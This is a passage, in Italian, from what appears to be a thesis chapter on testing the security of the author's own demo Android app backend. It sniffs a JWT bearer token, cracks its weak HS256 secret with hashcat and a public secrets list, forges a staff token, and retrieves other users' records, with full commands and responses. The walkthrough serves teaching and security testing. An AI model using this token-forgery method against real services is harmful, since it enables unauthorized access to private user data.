In questa versione di testing sarà utilizzato il software Termshark\footnote{https://github.com/gcla/termshark} al posto di Wireshark. È un software basato su Wireshark il cui unico vantaggio è la facilità d'uso per quello che serve fare a noi, visto che offre una semplice TUI a \textbf{tshark(1)}. Aprendo Termshark la prima cosa che può venir in mente è quella di filtrare per richieste TCP, e così facciamo, ma vi sono tanti pacchetti che arrivano in entrata e uscita, quindi potremmo voler aggiungere un filtro in modo tale da filtrare solo le richieste che partono dalla nostra macchina: ma qual è l'IP? Per far ciò basta eseguire \begin{lstlisting} $ ip -br a lo UNKNOWN 127.0.0.1/8 ::1/128 wlp2s0 UP 151.97.156.203/20 fe80::dab5:fab1:2c92:1fcb/64 docker0 DOWN 172.17.0.1/16 .. \end{lstlisting} prendendo come base l'IP della scheda Wireless possiamo applicarvi il filtro. \begin{figure}[h] \centering \includegraphics[width=0.75\textwidth]{data/termshark} \caption{Screenshot di Termshark} \end{figure} Avviando l'applicazione da Android Studio dobbiamo far caso, dopo aver provato il login, alla colonna Info, dove vi sono le righe con testo "Client Hello" o con la chiamata HTTP in chiaro. Nello screenshot in Figura 4.2 si vede a quale endpoint fa la chiamata per fare il login e anche con quale payload. Non è un problema il fatto che vediamo le credenziali che stiamo usando, proprio perché li stiamo inserendo noi. Può essere un problema in caso di qualcun altro che fa sniffing della LAN perché vedrebbe le nostre credenziali; questo problema scompare quando il server usa HTTPS invece di HTTP. \begin{figure}[h] \centering \includegraphics[width=0.75\textwidth]{data/termshark-post} \caption{Screenshot dell'endpoint di login} \end{figure} \section{Informazioni utente} \begin{figure}[h] \centering \includegraphics[width=0.75\textwidth]{data/termshark-get-users} \caption{Screenshot della GET users} \end{figure} Proseguendo nell'applicazione a visualizzare la pagina con le info personali, vediamo da dove e come prende queste informazioni. In particolare dobbiamo far attenzione, oltre all'url, a qual è il token di accesso usato per richiedere la risorsa. Nella Figura 4.3 si vede ciò. Per copiare la riga bisogna entrare in modalità copy premendo \emph{c} e \emph{CTRL+C}. Alla fine avremo in buffer la stringa \begin{lstlisting} [Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9. eyJ1c2VyX2lkIjoxLCJleHAiOjE2NzAwNjY2MzR9. byCNHix2XJtWx_dTOljxV45xrsl1hCXD1hj9oNwNjA4\r\n] \end{lstlisting} Decodificando il payload si vedrà \begin{lstlisting} $ echo "eyJ1c2VyX2lkIjoxLCJleHAiOjE2NzAwNjY2MzR9" | base64 -d {"user_id":1,"exp":1670066634} \end{lstlisting} Se volessimo vedere i dati di un utente diverso, come ad esempio l'utente 2, dovremmo richiamare \begin{lstlisting} xh http://m6ie.demo.dcariotti.me/v1/users/2 Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9. eyJ1c2VyX2lkIjoxLCJleHAiOjE2NzAwNjY2MzR9. byCNHix2XJtWx_dTOljxV45xrsl1hCXD1hj9oNwNjA4" HTTP/1.1 401 Unauthorized Access-Control-Allow-Origin: * Connection: keep-alive Content-Length: 37 Content-Type: application/json Date: Mon, 21 Nov 2022 03:20:00 GMT Server: nginx Vary: origin { "error": "Can't perform this action" } \end{lstlisting} Questo è quello che ci aspettavamo, perché l'utente con id 1 non è uno staffer, ma non ci dà la sicurezza che l'utente con id 2 sia un utente esistente. \section{Attacco all'autorizazzione} Ricreiamo un payload valido ma con differente "user\_id". \begin{lstlisting} $ echo '{"user_id":2,"exp":1670066634}' | base64 eyJ1c2VyX2lkIjoyLCJleHAiOjE2NzAwNjY2MzR9Cg== $ # Il padding "Cg==" va rimosso da JWT \end{lstlisting} Usiamo un software che permette di fare chiamate HTTP come xh\footnote{https://github.com/ducaale/xh} e vediamo come questo nuovo payload non funzioni, proprio perché l'ultima parte non è stata ancora ricalcolata. \begin{lstlisting} xh http://m6ie.demo.dcariotti.me/v1/users Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 .eyJ1c2VyX2lkIjoyLCJleHAiOjE2NzAwNjY2MzR9 .nFImsJOF-LQ9QIkrOYzIAHeZtEnLkzg4RD_kjqcJc3s" HTTP/1.1 400 Bad Request Access-Control-Allow-Origin: * Connection: keep-alive Content-Length: 25 Content-Type: application/json Date: Mon, 21 Nov 2022 03:24:00 GMT Server: nginx Vary: origin { "error": "Invalid token" } \end{lstlisting} \subsection{Forcing del secret} L'Authorization token è qualcosa di pubblico, che possiamo veder ad ogni richiesta HTTP. Il secret no, è usato per fare verificare la firma e rendere valido il token stesso. Quindi useremo un approccio simile a quello impiegato per "forzare" il login di una piattaforma: proveremo per forza bruta tutte le password possibili. In questo caso proveremo i possibili secret per far sì che la firma sia lo stesso valida. Prendendo una lista ben nota di secrets impiegati in servizi in produzione\footnote{https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list} useremo il software open-source \textbf{Hashcat} \cite{HASHCAT}. Per crackare la password usando Hashcat bisogna dare in input il parametro dell'hash type di JWT, il sorgente in cui vi è il token che si vuole crackare e il sorgente in cui vi è la lista dei secrets. \begin{lstlisting} $ hashcat -m 16500 my-secret.dat jwt-secrets-list.dat eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 .eyJ1c2VyX2lkIjoxLCJleHAiOjE2NzAwNjY2MzR9 .byCNHix2XJtWx_dTOljxV45xrsl1hCXD1hj9oNwNjA4:hello Session..........: hashcat Status...........: Cracked Hash.Type........: JWT (JSON Web Token) Hash.Target......: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIj...NwNjA4 \end{lstlisting} Qui vediamo come sia riuscito a trovare il secret, ovvero la stringa \emph{hello}. \subsection{Creazione token valido} Usando queste informazioni possiamo sfruttare il sopracitato sito web \underline{jwt.io} per la creazione di un token valido. Usando questo nuovo token codificato per fare la chiamata, possiamo riprovare la chiamata che era fallita prima. \begin{lstlisting} $ xh http://m6ie.demo.dcariotti.me/v1/users Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 .eyJ1c2VyX2lkIjoyLCJleHAiOjE2NzAwNjY2MzR9 .n-j1mzCUGNs7lz8ZXKgi6gBOsE3MiWZcaC8NIWxSexU" HTTP/1.1 200 OK Access-Control-Allow-Origin: * Connection: keep-alive Content-Length: 106 Content-Type: application/json Date: Mon, 21 Nov 2022 03:30:19 GMT Server: nginx Vary: origin { "id": 2, "name": "Luke Skywalker", "email": "luke@disney.com", "username": "luke", "is_staff": true, "avatar": null } \end{lstlisting} \begin{figure}[h] \centering \includegraphics[width=0.75\textwidth]{data/jwt} \caption{Screenshot di Jwt.io} \end{figure} Questo perché, come avevamo dato per assodato prima, molti backend si fidano ciecamente del fatto che il token JWT inviato sia valido e quindi restituiscono la risorsa. Per caso abbiamo trovato che l'utente con id uguale a 2 è uno staffer, quindi possiamo riutilizzare questo token anche per avere i dati degli altri utenti. Infatti possiamo utilizzarlo anche per l'utente di prima (o altri). \begin{lstlisting} $ xh http://m6ie.demo.dcariotti.me/v1/users/1 Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 .eyJ1c2VyX2lkIjoyLCJleHAiOjE2NzAwNjY2MzR9 .n-j1mzCUGNs7lz8ZXKgi6gBOsE3MiWZcaC8NIWxSexU" HTTP/1.1 200 OK Access-Control-Allow-Origin: * Connection: keep-alive Content-Length: 106 Content-Type: application/json Date: Mon, 21 Nov 2022 03:35:19 GMT Server: nginx Vary: origin { "id": 1, "name": "Santo Cariotti", "email": "santo@dcariotti.me", "username": "sa", "is_staff": false, "avatar": null } \end{lstlisting}